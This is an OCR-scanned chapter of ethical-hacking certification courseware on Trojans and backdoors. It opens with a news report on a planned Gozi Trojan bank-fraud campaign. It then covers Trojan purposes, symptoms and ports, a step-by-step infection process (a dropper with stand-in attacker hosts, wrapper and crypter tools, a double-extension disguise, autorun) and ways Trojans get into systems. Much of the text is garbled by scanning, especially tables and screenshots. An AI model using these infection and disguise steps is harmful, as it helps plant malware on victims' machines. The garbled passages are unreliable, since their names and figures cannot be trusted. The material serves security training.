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Cyber-Criminals Plan Massive Oct 05, 2012 1:24 PM EST

Troian Types Trojan Attack on 30 Banks

A large-scale coordinated Trojan attack to launch fraudulent wire transfers may be headed your way. And it

Indication of has nothing to do with the recent wave of denial-of-service attacks.

Troian A group of cybercriminals appear to be actively recruiting up to 100 botmasters to participate in a

. complicated man-in-the-middle hijacking scam using a variant of the Gozi Trojan, RSA's FraudAction
Trojan research team said in a blog post yesterday. The team put together the warning after weeks of monitoring
Detection underground chatter.

As many as 30 financial institutions in the United States may be targeted in this "blitzkrieg-like" series, said
Mor Ahuvia, a cyber-crime communications specialist at RSA FraudAction. It's possible these well-known and
high-profile institutions were selected, not because of "anti-American motives," but simply because American

Troian Horse
Construction

Kit . S - ] O
banks are less likely to have deployed two-factor authentication for private banking consumers, Ahuvia said.
European banks generally require all consumers to use two-factor for wire transfers, making it harder to
launch a man-in-the-middle session hijacking attack.
http://securitywatch.pcmag.com
Copyright © by EG-Gouncil. All Rights Jtes'en/fed.;Reproduction is Strictly Prohibited.
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Source: http://securitvwatch.pcmag.com

A large-scale coordinated Trojan attack to launch fraudulent wire transfers may be headed
your way. And it has nothing to do with the recent wave of denial-of-service attacks.

A group of cybercriminals appears to be actively recruiting up to 100 botmasters to participate
in a complicated man-in-the-middle hijacking scam using a variant of the Gozi Trojan, RSA's
FraudAction research team said in a blog post recently. The team put together the warning
after weeks of monitoring underground chatter.

As many as 30 financial institutions in the United States may be targeted in this "blitzkrieg-like"
series, said Mor Ahuvia, a cyber-crime communications specialist at RSA FraudAction. It's
possible these well-known and high-profile institutions were selected, not because of "anti-
American motives," but simply because American banks are less likely to have deployed two-
factor authentication for private banking consumers, Ahuvia said. European banks generally
require all consumers to use two-factor for wire transfers, making it harder to launch a man-in-
the-middle session hijacking attack.
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"A cyber gang has recently communicated its plans to launch a Trojan attack spree on 30
American banks as part of a large-scale orchestrated crimeware campaign," Ahuvia said.

Potential targets and relevant law enforcement agencies have already been notified, RSA said.

RSA FraudAction was not sure how far along the recruitment campaign has gone, or when the
attacks are expected. While it's possible revealing the gang's plans may cause the criminals to
scuttle their operation, it may just cause the group to modify the attack.

"There are so many Trojans available and so many points of failure in security that could go
wrong, that they'd still have some chance of success," Ahuvia said.

Anatomy of the Attack

The proposed cyber-attack consists of several parts. The first part involves infecting victim
computers with the variant of the Gozi Trojan, which RSA has dubbed Gozi Prinimalka, Once
the computer has been compromised, it will communicate with the botmaster's computer,
which has a "virtual machine syncing module," capable of duplicating the victim's PC settings,
such as the time zone, screen resolution, cookies, browser type, and installed software IDs, into
a virtual machine, RSA said.

When the attacker accesses victim accounts using the cloned system, the virtual machine
appears to be a legitimate system using the last-known IP address for the victim's computer,
RSA said. This cloning module would make it easy for the attackers to log in and initiate wire
transfers. The attackers also plan to use VolP phone flooding software to prevent victims from
receiving confirmation calls or texts verifying online account transfers and activity, RSA said.

The recruits have to make an initial investment in hardware and agree to training on how to
deploy the Gozi Trojan, Ahuvia wrote. They will receive executable files, but not the compilers
used to create the Trojan. In return, the new partners in this venture will receive a cut of the
profits.

Trojan Behind Previous Attacks

The Trojan is not as well-known as others, such as SpyEye or Citadel, nor is it as widely
available, Ahuvia said. Its relative obscurity means antivirus and security tools are less likely to
flag it as malicious.

RSA has linked the Gozi Trojan to previous attacks responsible for more than $5 million in
losses in the United States in 2008. The researchers have linked the Trojan to a group called the
HangUp Team, and speculated the same group was behind this latest campaign.

The way the attack is structured, it is very likely the targeted institutions won't even realize
they'd been affected till at least a month or two after the attacks. "The gang will set a pre-
scheduled D-day to launch its spree, and attempt to cash out as many compromised accounts
as possible before its operations are ground to a halt by security systems,” Ahuvia said.
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Module Objectives

The main objective of this module is to provide you with knowledge about various
kinds of Trojans and backdoors, the way they propagate or spread on the Internet, symptoms
of these attacks, consequences of Trojan attacks, and various ways to protect network or
system resources from Trojans and backdoor. This module also describes the penetration
testing process to enhance your security against Trojans and backdoors.

This module makes you familiarize with:

e What Isa Trojan? © Types of Trojans
© What Do Trojan Creators Look For? 0 Trojan Analysis
© Indications of a Trojan Attack © How to Detect Trojans
€ Common Ports Used by Trojans © Trojan Countermeasures
0 How to Infect Systems Using a Trojan © Trojan Horse Construction Kit
o Different Ways a Trojan Can Get into a © Anti-Trojan Software
System © Pen Testing for Trojans and Backdoors
0 How to Deploy a Trojan
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Penetration Testing Trojan Concepts

Anti-Troj - '
nti-Trojan Trojan Infection
Software

Countermeasures Types of Trojans

Hgy
Trojan Detection

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Module Flow

To understand various Trojans and backdoors and their impact on network and
system resources, let's begin with basic concepts of Trojans. This section describes Trojans and

highlights the purpose of Trojans, the symptoms of Trojan attacks, and the common ports used
by Trojans.

Trojan Concepts Countermeasures

Jd * Trojans Infection flil|~ Anti-Trojan Software

N

—  Types of Trojans 1 Penetration Testing

1 Trojan Detection
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J Itisa program in which the malicious or harmful J With the help of a Trojan, an attacker gets
code is contained inside apparently harmless access to the stored passwords in the Trojaned
programming or data in such a way that it can computer and would be able to read personal
get control and cause damage, such as ruining documents, delete files and display pictures,
the file allocation table on your hard disk and/or show messages on the screen

J Trojans replicate, spread, and get activated upon
users' certain predefined actions

Send me credit card details L .
Victim in Chicago
infected with Trojan

Here is my credit card number and expire date

Send me Facebook accountinformation
Victim in London
infected with Trojan

Here is my Facebook login and profile

Send me e-banking login info
Victim in Paris
infected with Trojan
Here is my bank ATM and pincode
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Whatls a Trojan?

According to Greek mythology, the Greeks won the Trojan War by entering in to the
fortified city of Troy hiding in a huge, hollow wooden horse. The Greeks built a huge wooden
horse for their soldiers to hide in. They left the horse in front of the gates of Troy. The Trojans
thought it to be a gift from the Greeks, who had withdrawn from the war, and so they
transported the horse into their city. At night, the Spartan soldiers broke through the wooden
horse, and opened the gates for their soldiers who eventually destroyed the city of Troy.

Taking a cue from Greek mythology, a computer Trojan is defined as a "malicious, security-
breaking program that is disguised as something benign.” A computer Trojan horse is used to
enter a victim's computer undetected, granting the attacker unrestricted access to the data
stored on that computer and causing immense damage to the victim. For example, a user
downloads what appears to be a movie or a music file, but when he or she runs it, it unleashes
a dangerous program that may erase the unsuspecting user's disk and send his or her credit
card numbers and passwords to a stranger. A Trojan can also be wrapped into a legitimate
program, meaning that this program may have hidden functionality that the user is unaware of.

In another scenario, a victim may also be used as an intermediary to attack others—without his
or her knowledge. Attackers can use the victim's computer to commit illegal denial-of-service
attacks such as those that virtually crippled the DALnet IRC network for months on end.
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(DALnet is an Internet relay chat (IRC) network that is a form of instant communication over the
network.)

Trojan horses work on the same level of privileges that the victim user has. If the victim had the
privileges, Trojan can delete files, transmit information, modify existing files, and install other
programs (such as programs that provide unauthorized network access and execute privilege-
elevation attacks). The Trojan horse can attempt to exploit a vulnerability to increase the level
of access beyond that of the user running the Trojan horse. If successful, the Trojan horse can
operate with increased privileges and may install other malicious codes on the victim's
machine.

A compromise of any system on a network may affect the other systems on the network.
Systems that transmit authentication credentials such as passwords over shared networks in
clear text or in a trivially encrypted form are particularly vulnerable. If a system on such a
network is compromised, the intruder may be able to record user names and passwords or
other sensitive information.

Additionally, a Trojan, depending on the actions it performs, may falsely implicate the remote
system as the source of an attack by spoofing and, thereby, cause the remote system to incur
liabilities.

Send me credit card details S .
Victim in Chicago

; y : : ! D y infected with Trojan

Here is my credit card number and expire date

Send me Facebook account Information
Victim in London

infected with Trojan
Here is my Facebook login and profile

Send me e-banking login info
| I »'J Victim in Paris

t ] infected with Trojan
Here is my bank ATM and pincode

FIGURE 6.1: Attacker extracting sensitive information from the system's infected with Trojan
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Com munication Paths: Overt

EH
and Covert Channels

J

Overt Channel

A legitimate communication

path within acomputer system,

or network, for transfer of data

Example of overt channel
includes games or any

legitimate programs

Covert Channel

An unauthorized channel used
for transferring sensitive data
within a computer system, or
network

The simplest form of covert
channel is a Trojan

Poker.exe * Trojan.exe
(Legitimate Application) N (Keylogger Steals Passwords)

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

n " Communication Paths: Overt and Covert Channels

Overt means something that is explicit, obvious, or evident, whereas covert means
something that is secret, concealed, or hidden. An overt channel is a legal, secure channel for
the transfer of data or information within the network of a company. This channel is within the
secure environment of the company and works securely for the transfer of data and
information.

On the other hand, a covert channel is an illegal, hidden path used to transfer data from a
network. Covert channels are methods by which an attacker can hide data in a protocol that is
undetectable. They rely on a technique called tunneling, which allows one protocol to be
carried over another protocol. Covert channels are generally not used for information
exchanges, so they cannot be detected by using standard system security methods. Any
process or bit of data can be a covert channel. This makes it an attractive mode of transmission
for a Trojan, since an attacker can use the covert channel to install the backdoor on the target
machine.
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Overt Channel Covert Channel

A legitimate communication path within a A channel that transfers information

computer system, or network, for the within a computer system, or network, in
transfer of data a way that violates the security policy
An overt channel can be exploited to The simplest form of covert channel is a

create the presence of a covert channel by Trojan
selecting components of the overt

channels with care that are idle or not

related

TABLE 6.1: Comparison between Overt Channel and Covert Channel
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Purpose ofTrojans CEMH

Delete or replace operating system's . X .
. ’ Disable firewalls and antivirus
critical files

Generate fake traffic to create DOS Create backdoors to gain remote
attacks access

Download spyware, adware, and Infect victim's PC as a proxy server
malicious files for relaying attacks

Record screenshots, audio, and video Use victim's PCas a botnetto

of victim's PC perform DDOSattacks

Steal information such as passwords,

. . . . Use victim's PC for spamming and
security codes, credit card information

. blasting email messages
using keyloggers

Copyright © by EG-Gtancil. All Rights Reserved. Reproduction is Strictly Prohibited

a.

Purpose ofTrojans

I
Trojan horses are the dangerous malicious programs that affect computer systems

without the victim's knowledge. The purpose of Trojan is to:
o Delete or replace the operating system's critical files
0 Generate fake traffic to create DOS attacks
o Download spyware, adware, and malicious files
o Record screenshots, and audio and video of the victim's PC

0 Steal information such as passwords, security codes, and credit card information using
keyloggers

Disable firewalls and antivirus software
Create backdoors to gain remote access

Infect a victim's PC as a proxy server for relaying attacks

o O O o

Use avictim's PC as a botnet to perform DDoS attacks

o Use avictim's PC for spamming and blasting email messages
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W hat Do Trojan Creators

Look For
Credit card Financial data (bank account Using the victim's computer for illegal purposes,
inform ation numbers, social security numbers, such asto hack, scan, flood, or infiltrate other
insurance information , etc.) machines on the network or Internet

Hacker

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

~ WhatDo Trojan Creators Look For?

Trojans are written to steal information from other systems and to exercise control
over them. Trojans look for the target's personal information and, if found, return it to the
Trojan writer (attacker). They can also allow attackers to take full control over a system.

Trojans are not solely used for destructive purposes; they can also be used for spying on
someone's machine and accessing private and/or sensitive information.

Trojans are created for the following reasons:
9 To steal sensitive information, such as:

© Credit card information, which can be used for domain registration, as well as for
shopping.

9 Account data such as email passwords, dial-up passwords, and web services
passwords. Email addresses also help attackers to spam.

9 Important company projects including presentations and work-related papers could
be the targets of these attackers, who may be working for rival companies.
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9 Attackers can use the target's computers for storing archives of illegal materials, such as
child pornography. The target can continue to use their computer, and have no idea
about the illegal activities for which their computer is being used.

© Attackers can use the target computer as an FTP Server for pirated software.

0 Script kiddies may just want to have fun with the target's system. They might plant a
Trojan in the system, which then starts acting strangely: the CD tray opens and closes
frequently, the mouse functions improperly, etc.

Q The compromised system might be used for other illegal purposes, and the target would
be held responsible for all illegal activities, if the authorities discover them.

Hacker

FIGURE 6.2: Hacker stealing credit card information from victim
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Indications ofa Trojan Attack CEH

CD-ROM drawer opens and closes Abnormal activity by the modem,
by itself network adapter, or hard drive
Computer browser is redirected The account passwords are

to unknown pages w changed or unauthorized access
Strange chat boxes appear on Strange purchase statements
victim's computer appear in the credit card bills
Documents or messages are The ISP complains to the victim
printed from the printer that his/her computer is IP
themselves scanning

Functions of the right and left * People know too much personal

mouse buttons are reversed information about a victim

Copyright © by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited

A Indications ofa Trojan Attack

A Trojan is software designed to steal data and demolish your system. It creates a
backdoor to attackers to intrude into your system in stealth mode. The system becomes
vulnerable to the Trojan and attackers can easily launch their attack on the system if it is not
safeguarded. Trojans can enter your system using various means such as email attachments,
downloads, instant messages, open ports, etc. The following are some of the indications that
you may notice on your system when it is attacked by the Trojan:

0 CD-ROM drawer opens and closes by itself

0 Computer browser is redirected to unknown pages
0 Strange chat boxes appear on target's computer
0

Documents or messages are printed from the printer

o Functions of the right and left mouse buttons are reversed
o Abnormal activity by the modem, network adapter, or hard drive
0 The account passwords are changed or unauthorized access
0 Strange purchase statements appear in the credit card bills
0 The ISP complains to the target that his or her computer is IP scanning
0 People know too much personal information about a target
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Indications ofa Trojan Attack a g 1|l

(Cont’d) (~Itlfwlf| Itkittl 1UKM
Antivirus is Computer
disabled or The taskbar Windows color screen flips
does notwork disappears settings change upside down
properly or inverts

Wallpaper or
Screensaver's
) background
settings change .
) settings
automatically
change
The computer
shuts down Ctri+Alt+Del
and powers off stops working
by itself
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Indications ofa Trojan Attack (Cont’'d)

Though Trojans run in stealth mode, they exhibit some characteristics, observing which; you
can determine the existence of Trojans on your computer. The following are typical symptoms of a
Trojan horse virus infection:

9 Antivirus software is disabled or does not work properly
The taskbar disappears

Windows color settings change

Computer screen flips upside down or inverts
Screensaver's settings change automatically

Wallpaper or background settings change

Windows Start button disappears

Mouse pointer disappears or moves by itself

The computer shuts down and powers off by itself
Ctrl+Alt+Del stops working

Repeated crashes or programs open/close unexpectedly

© © © © O O © O O O ©

The computer monitor turns itself off and on
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Common Ports used by Trojans CEH
Utifv kK1 IN1
Port Trojan Port Trojan Port Trojan Port Trojan
2 Death FTP99CMP 5569 Robo-Hack K Z S H GirlFriend 1.0, Beta-1.35
20 SennaSpy Shivka-Burka 6670-71 DeepThroat 22222 Prosiak
Blade R , Doly Trojan, Fore, P "
21 a.e. unner, Loty roj.an ore 1807  SpySender 6969 GateCrasher, Priority 23456 Evil FTP, Ugly FTP
Invisible FTP, WebEx, WinCrash
2 Shaft Shockrave Remote Grab Delta
23 Tiny Telnet Server BackDoor 1.00-1.03 NetMonitor NetSphere 1.27a
Antigen, Email Password Sender,
25 g. . X 2001  Trojan Cow 7789 ICKiller 31337-38 Back Orifice, DeepBO
Terminator, WinPC, WinSpy,
3L Hackers Paradise Ripper BackOfrice 2000 NetSpy DK
80 Executor Bugs Portal of Doom BOWhack
421 TCP Wrappers trojan 2140 The Invasor 9989 iNi-Killer 33333  Prosiak
456  Hackers Paradise 2155 lllusion Mailer, Nirvana 10607  Coma 1.0.9 34324 BigGluck, TN
M m Ini*Killer, Phase Zero, Stealth Spy 3129  Masters Paradise 11000  Senna Spy 40412 The Spy
1 666  Satanz Backdoor The Invasor 11223 Progenic trojan 40421-26 Masters Paradise
Silencer, WebEx WinCrash 47262  Delta
Doly Trojan 4567 File Nail 1 12223 Hack'99 Keylogger 50505  Sockets de Troie
RAT 4590 ICQTrojan 12345-46  GabanBus, NetBus 50766  Fore
12361, R te Wind
1170  Psyber Stream Server, Voice 5000  Bubbel Whack-a'mole 53001 emote Windows
12362 Shutdown
Ultors Trojan 5001  Sockets de Troie 16969  Priority 54321  schoolBus .69-1.11
SubSeven 1.0-1.8 5321  Firehotcker 20001  Millennium 61466  Telecommando
NetBus 2.0, Beta-
1245  VvooDoo Doll 540002 Blade Runner 20034 u 65000  Devil

NetBus 2.01
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Common Ports Used by Trojans

IP ports play an important role in connecting your computer to the Internet and

surfing the web, downloading information and files, running software updates, and sending and
receiving emails and messages so that you can connect to the world. Each computer has unique
sending and receiving ports for each function.

Users need to have a basic understanding of the state of an "active connection" and ports
commonly used by Trojans to determine if the system has been compromised.

There are different states, but the "listening" state is the important one in this context. This
state is generated when a system listens for a port number when it is waiting to make a
connection with another system. Trojans are in a listening state when a system is rebooted.
Some Trojans use more than one port as one port may be used for "listening” and the other(s)
for data transfer.
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LG 1]
Port Trojan Port Trojan Port Trojan Port Trojan
2 Death 1492 FTP99CMP 5569 Robo Hack 21544 GlrlFriend 1.0, Beta 1.35
20 Senna Spy 1600  Shivka-Burka 6670-71  DeepThroat 22222 Prosiak
Blade Runner, Doly Trojan, Fore, . .
21 Invisible FTP, WebEx, WinCrash 1807  SpySender 6969 Gatecrasher, Priority 23456 Bl FTP, Ugly FTP
22 Shaft 1981  Shockrave 7000 Remote Grab 26274  Delta
23 Tiny Telnet Server 1999  BackDoor 1.00 1.03 7300-08  NetMonitor 30100-02 NetSphere 1.27a
25 Antigen, Emell Password Sender, 2001  Trojan Cx 7789 ICKill 31337-38  Back Orifice, DeepBO
Terminator, WInPC, WinSpy, rojan Low o ) ritice, eep
31 Hackers Paradise 2023  Ripper 8787 BackOfrice 2000 31339  NetSpy DK
el Executor 2115  Bugs 9872-9875 Portal of Doom 31666  BOWnhack
421 TCPWrappers trojan 2140  The Invasor 9989 iNi-Killer 33333  Prosiak
456  Hackers Paradise 2155 lllusion Mailer, Nirvana 10607  Coma 1.0.9 34324  BigGluck. TN
555 Ini-Killer, Phase Zero, Stealth Spy 3129  Masters Paradise 11000  Senna Spy 40412 The Spy
666  Satanz Backdoor 3150  The Invasor 11223 Progenic trojan 40421-26 Masters Paradise
1001  Silencer, WebEx 4092  WinCrash 47262 Delta
1011  DolyTrojan 4567  File Nail 1 12223 Hack™)‘) KeyLogger 50505  Socketsde Troie
1095-98 RAT 4590 ICQTrojan 12345-46 GabanRus, NetBus 50766  Fore
. 12361 Remote Windows
1171 P Ve Rubbol ’ -a-| 1
0 syber Stream Server, Voice 5000 ubbol 12362 Whack-a-mole 5300 Shutdown
1234 ultors Trojan 5001  sockets de Trole 16969  Priority 54321  SchoolBus .69-1.11
1243  SubSeven 1.0-1.8 5321  Firehotcker 20001 Millennium 61466  Telecommando
\O0DO0O Dol 540002 Blade Rumner 20034  NBUS 20, Beta 65000  Devil
NetBus 2.01
TABLE 6.2: Common ports used by Trojans
Module 06 Page 844 Ethical Hacking and Countermeasures Copyright © by EC-COUnCIl

All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker

Trojans and Backdoors
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UM I Nin

So far we have discussed various Trojan concepts. Now we will discuss Trojan
infections.

Trojan Concepts Countermeasures

Trojan Infection I111]r Anti-Trojan Softwares

y— Types of Trojans A ) Penetration Testing

*7 Trojan Detection

In this section, we will discuss the different methods adopted by the attacker for installing
Trojans on the victim's system and infecting their system with this malware.
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How to Infect System s Using a

Trojan

Create a new Trojan packet using a Trojan Horse
Construction Kit

£ U S f Create a dropper, which is a part in atrojanized packet
that installs the malicious code on the target system

a

Example of a Dropper

Installation path: c\windows\system 32\svchosts .exe

AlitOStart: Hk LM \sottware\M Ic \run\lexplorer.exe

e Malicious code

Client address: client.attacker.com

O ] O I Dropzone: dropzone.attacker.com
-

Attacker Malicious Code A genuine application Wrapper
File name: chess.exe

Wrapper data: Executable file
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How to Infect System s Using a Trojan

An attacker can control the hardware as well as software on the system remotely by
installing Trojans. When a Trojan is installed on the system, not only does the data become
vulnerable to threats, chances are that the attacker can perform attacks on the third-party
system. Attackers infect the system using Trojans in many ways:

o Trojans are included in bundled shareware or downloadable software. When a user
downloads those files, Trojans are installed onto the systems automatically.

9 Users are tricked with the different pop-up ads. It is programmed by the attacker in
such a way that it doesn't matter if is the user clicks YES or NO; a download starts and
the Trojan is installed onto the system automatically.

0 Attackers send Trojans through email attachments. When those attachments are
opened, the Trojan is installed on the system.

Users are sometimes tempted to click on different kinds of files such as greeting cards,
porn videos, images, etc., where Trojans are silently installed one the system.
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The step-by-step process for infecting machines using a Trojan is as follows:
Step 1: Create a new Trojan packet using a Trojan Horse Construction Kit.

Step 2: Create a dropper, which is a part in a Trojanized packet that installs the malicious code
on the target system.

Example of a Dropper S

Installation path: c\windows\system 32\svchosts.exe

Autostart: HKIiM\Software\Mi.c...... \run\le3<plorer.exe

Malicious code

Client address: dient.attacker.com
Dropzone: dropzone.attacker.com

Attacker M alicious Code A genUine application Wrapper
File name: chess.exe
Wrapper data: Executable file

FIGURE 6.3: lllustrating the process of infecting machines using Trojans (1 of 2)
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How to Infect System s Using a

Trojan (Contd) CEH

Create awrapper using wrapper tools to
install Trojan on the victim's computer

Propagate the Trojan
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grjjr How to Infect Systems Using a Trojan (Cont’'d)

Step 3: Create a wrapper using tools to install the Trojan on the victim's computer. By
using various tools like petite.exe, Graffiti.exe, EliteWrap, etc., a wrapper is created to install
the Trojan on the victim's computer.

Step 4: Propagate the Trojan. Computer virus propagation (spreading) can be done through
various methods:

o An automatic execution mechanism is one method where traditionally it was spread
through floppy disks and is now spread through various external devices. Once the
computer is booted, the virus automatically spreads over the computer.

Q Even viruses can be propagated through emails, Internet chats, network sharing, P2P file
sharing, network redirecting, or hijacking.

Step 5: Execute the Dropper. Dropper is used by attackers to disguise their malware. The user
is confused and believes that all the files are genuine or known files. Once it gets loaded into
the host computer, it helps other malware to get loaded and perform the task.

Step 6: Execute the damage routine. Most computer viruses contain a Damage Routine that
delivers payloads. A payload sometimes just displays some images or messages whereas other
payloads can even delete files, reformat hard drives, or cause other damage.
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Dropper

chess.exe
Wrapper

Attacker
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Dropper
W w * - drops the

y Trojan

Trojan code execution

Victim's System

FIGURE 6.4: lllustrating the process of infecting machines using Trojans (2 of 2)
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W rappers CEMH

A wrapper binds a Trojan executable with
an innocent looking .EXE application such
~as games or office applications

Chess.exe Trojan.exe
/ Filesize: 90K Filesize: 20K

Chess.exe
Filesize: 110K

When the user runs the N Attackers might send a birthday greeting
wrapped EXE, it first installs The two programs are that will install a Trojan as the user

the Trojan in the background wrapped together into a watches, for example, a birthday cake
and then runs the wrapping single file dancing across the screen

application in the foreground V. J

Source: http://www.objs.com

Wrappers are used to bind the Trojan executable with a genuine-looking .EXE application such
as games or office applications. When the user runs the wrapped EXE, it first installs the Trojan
in the background and then runs the wrapping application in the foreground. The attacker can
compress any (DOS/WIN) binary with tools such as petite.exe. This tool decompresses an EXE
file (once compressed) on runtime. This makes it possible for the Trojan to get in virtually
undetected, since most antivirus software is not able to detect the signatures in the file.

The attacker can place several executables inside one executable, as well. These wrappers may
also support functions such as running one file in the background while another one is running
on the desktop.

Technically speaking, wrappers can be considered another type of software "glueware" used to
bind other software components together. A wrapper encapsulates into a single data source to
make it usable in a more convenient fashion than the original unwrapped source.

Users can be tricked into installing Trojan horses by being enticed or frightened. For instance, a
Trojan horse might arrive in an email described as a computer game. When the user receives
the mail, the description of the game may entice him or her to install it. Although it may, in fact,
be a game, it may also be taking other action that is not readily apparent to the user, such as
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deleting files or mailing sensitive information to the attacker. In another instance, wan attacker
sends a birthday greeting that will install a Trojan as the user watches, such as a birthday cake

dancing across the screen.

(W? Chess.exe Trojan.exe
Filesize: 90K N Filesize: 20K

Ehess.exe

n Filesize: 110K

FIGURE 6.5: Wrappers
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Wrapper Covert Programs CEH

Hie o

vi TrOjaa.Net Advanced Hie Joiner

version 10 1
Ml AlIHAL3 - Ec-rtlriji Cit» | I—ﬂ'ﬁ
=

| . ‘Cn'W.'Ui.»> 5
Cootafe s, " S SBLABS
| teHr fl rfrr.fulit

tndex ) Crrptor Binder Downloador [ Spreader

Kriptomatik Noy | B

Advanced File Joiner

| Tediatedfilsvad 443
SCB LAB's - Professional Malware Tool
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Wrapper Covert Programs
Kriptom atik

{ Kriptomatik is a wrapper covert program that is designed to encrypt and protect files
against crackers and antivirus software. It spreads via Bluetooth and allows you to burn
CD/DVDs with Autorun.

It has the following features:
0 Configure icons
0 Gather files
e Posts
© Propagation

o Other features such as autostart, attributes, encryption, etc.
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File Name Fle Path Fle Sze Inject To Extract To
JJIXRAYMYPC-INSTALLMSI  C:\DocumentsandSettings\k-ADes... 4 Mb Y%apppath% %none%
Hb8thc.exe C:\Documents and Settings\ .,Des... 379 Kb %apppath% %none%

Status : all spread commands unchecked... Plugin Count: 0006

FIGURE 6.6: Kriptom atik screenshot

R ® Advanced File Joiner

Advanced File Joiner is software that is used to combine and join various files into a
single file. If you have downloaded multiple pieces of a large file split into smaller files, you may
easily join them together with this tool. For example, you can combine ASCII text files or
combine video files such as MPEG files into a single file if and only if they are of same size,
format, and encoding. This tool cannot be used effectively for joining a file format containing
head information such as AVIl, BMP, JPEG, and DOC files. So, for each of these types of file

formats, you have to use specific software join program.
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File List Anti Debugging Compile Ftes Event Logs About

|©| C:\Documents and Settings™ \Desktop\Music.wav 58 1
nc:\Docurr>ents and SettinosV  \Desktop\iusion_b... 392 Kb 1
Add To File

File Path: Execute: Yes

FIGURE 6.7: Advanced File Joiner Screenshot
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SCB LAB's - Professional Malware Tool

Professional Malware Tool is designed to encrypt (crypter), together (binder),
download (downloader), and files spread (spread).

SC8 LAB'S

Profiesswial Malware Tool
t V@

Index | Crypter Binder Downloader Spreader

Name Path Execute

]SCB Lab.,. C:\DocumentsandSettings\Admi... No
** jcuments and Settings\Admi... No
Add file g

Execute » Yes
Build! No
Remove file

| The attached files weigh 714 KB

FIGURE 6.8: SCB LAB's - Professional Malware Tool Screenshot
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D ifferentW ays aTrojan can

) CEMH
Getinto a System
Instant Browser and
Messenger IRC (Internet Physical email software Fake
applications Relay Chat) Access bugs programs
r\ ro\ ro\ ro\
1 2 3 4 5 6 7 8 9
Legitimate "shrink- Attachments Untrusted sites NetBIOS Downloading files,
wrapped" software and freeware (FileSharing) games, and
packaged by a software screensavers from
disgruntled employee Internet sites
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Different Ways a Trojan Can Getinto a System

Different access points are used by Trojans to infect the victim's system. With the help
of these points, the Trojan attacks the target system and takes complete control over the
system. They are as follows:

Instant Messenger Applications

The system can get infected via instant messenger applications such as ICQ or Yahoo
Messenger. The user is at high risk while receiving files via the messenger, no matter from
whom or from where. Since there is no file checking utility bundled with instant messengers,
there is always a risk of infection by a Trojan. The user can never be 100% sure who is on the
other side of the computer at any particular moment. It could be someone who hacked a
messenger ID and password and wants to spread Trojans over the hacked friends list.

IRC (Internet Relay Chat)

tA IRC is another method used for Trojan propagation. Trojan.exe can be renamed

something like Trojan.txt (with 150 spaces).exe. It can be received over IRC and, in the
DCC (Direct Client to Client), it will appear as TXT. The execution of such files will cause
infection. Most people do not notice that an application (.exe) file has a text icon. So before
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such things are run, even if it is with a text icon; the extensions must be checked to ascertain
that they are really .TXT files.

9 Do not download any files that appear to be free porn or Internet software. Novice
computer users are often targets of these false offers, and many people on IRC are
unaware of security. Users get infected from porn-trade channels, as they are not
thinking about the risks involved—just how to get free porn and free programs.

irt"T! Physical Access
LiJ Restricting physical access is important for a computer's security.
o Example:

9 A user's friend wants to have physical access to his system. The user might sneak
into his friend's computer room in his absence and install a Trojan by copying the
Trojan software from his disk onto the hard drive.

9 Autostart is another way to infect a system while having physical access. When a CD
is placed in the CD-ROM tray, it automatically starts with a setup interface. An
example of the Autorun.inf file that is placed on such CDs:

[autorun]

open=setup.exe

icon=setup.exe

9 Trojan could be run easily by running a real setup program.

9 Since many people do not know about this CD function, their machine might get
infected, and they would not understand what happened or how it was done.

9 The Autostart functionality should be turned off by doing the following:

Start ™ Settings "> Control Panel -> System Device Manager i» CDROM ~>
Properties m Settings

Once there, a reference to Auto Insert Notification will be seen. (It checks approximately
once per second whether a CD-ROM has been inserted, or changed, or not changed.) To
avoid any problems with this function, it should be turned off.

Browser and Em ail Software Bugs

Users do not update their software as often as they should, and many attackers take

advantage of this well-known fact. Imagine an old version of Internet Explorer being
used. A visit to a malicious site will automatically infect the machine without downloading or
executing any program. The same scenario occurs while checking email with Outlook Express or
some other software with well-known problems. Again, the user's system will be infected
without even downloading an attachment. The latest version of the browser and email
software should be used, because it reduces the risk of these variations.
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9 Check the following sites to understand how dangerous these bugs are, all due to the
use of an old version of the software:

9 http://www.guninski.com/browsers.html

9 http://www.guninski.com/netscape.html

Fake Programs

9 Attackers can easily lure a victim into downloading free programs that are suitable for
their needs, and loaded with features such as an address book, access to check several
POP3 accounts, and many other functions that make it even better than the currently
used email client.

9 The victim downloads the program and marks it as TRUSTED, so that the protection
software fails to alert him or her of the new software being used. The email and POP3
account passwords are mailed directly to the attacker's mailbox without anyone
noticing. Cached passwords and keystrokes can also be mailed. The aim is to gather
ample information and send it to the attacker.

9 Insome cases, an attacker may have complete access to a system, but what the attacker
does depends on his or her ideas about how to use the hidden program's functions.
While sending email and using port 25 or 110 for POP3, these could be used for
connections from the attacker's machine (not at home, of course, but from another
hacked machine) to connect and use the hidden functions they implemented in the
freeware program. The idea here is to offer a program that requires a connection with a
server be established.

9 Attackers thrive on creativity. Consider an example where a fake audio galaxy, which is
a site for downloading MP3, is given. An attacker generates such a site by using 15-gb
space on his system to place a larger archive there for the MP3. In addition, some other
systems are also configured in the same fashion. This is done to fool users into thinking
that they are downloading from other people who are spread across the network. The
software acts as a backdoor and will infect thousands of naive users using ADSL
connections.

9 Some fake programs have hidden codes, but still maintain a professional look. These
websites link to anti-Trojan software, thus fooling users into trusting them. Included in
the setup is readme.txt. This can deceive almost any user, so proper attention needs to
be given to any freeware before it is downloaded. This is important because this
dangerous method is an easy way to infect a machine via Trojans hidden in the
freeware.
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— . Shrink-Wrapped Software

Y Legitimate "shrink-wrapped" software packaged by a disgruntled employee can
contain Trojans.

Via Attachments

When unaware web users receive an email saying they will get free porn or free
Internet access if they run an attached .exe file, they might run it without completely
understanding the risk to their machines.

o Example:

o A user has a good friend who is carrying out some research and wants to know
about a topic related to his friend's field of research. He sends an email to his friend
asking about the topic and waits for a reply. The attacker targeting the user also
knows his friend's email address. The attacker will simply code a program to fake the
email From: field and make it appear to be the friend's email address, but it will
include the TROJANED attachment. The user will check his email, and see that his
friend has answered his query in an attachment, and download and run it without
thinking that it might be a Trojan. The end result is an infection.

0 Trash email with the subject line, "Microsoft IE Update,” without viewing it.

0 Some email clients, such as Outlook Express, have bugs that automatically execute
the attached files.

Untrusted Sites and Freeware Software

o A site located at a free web space provider or one just offering programs for
illegal activities can be considered suspicious.

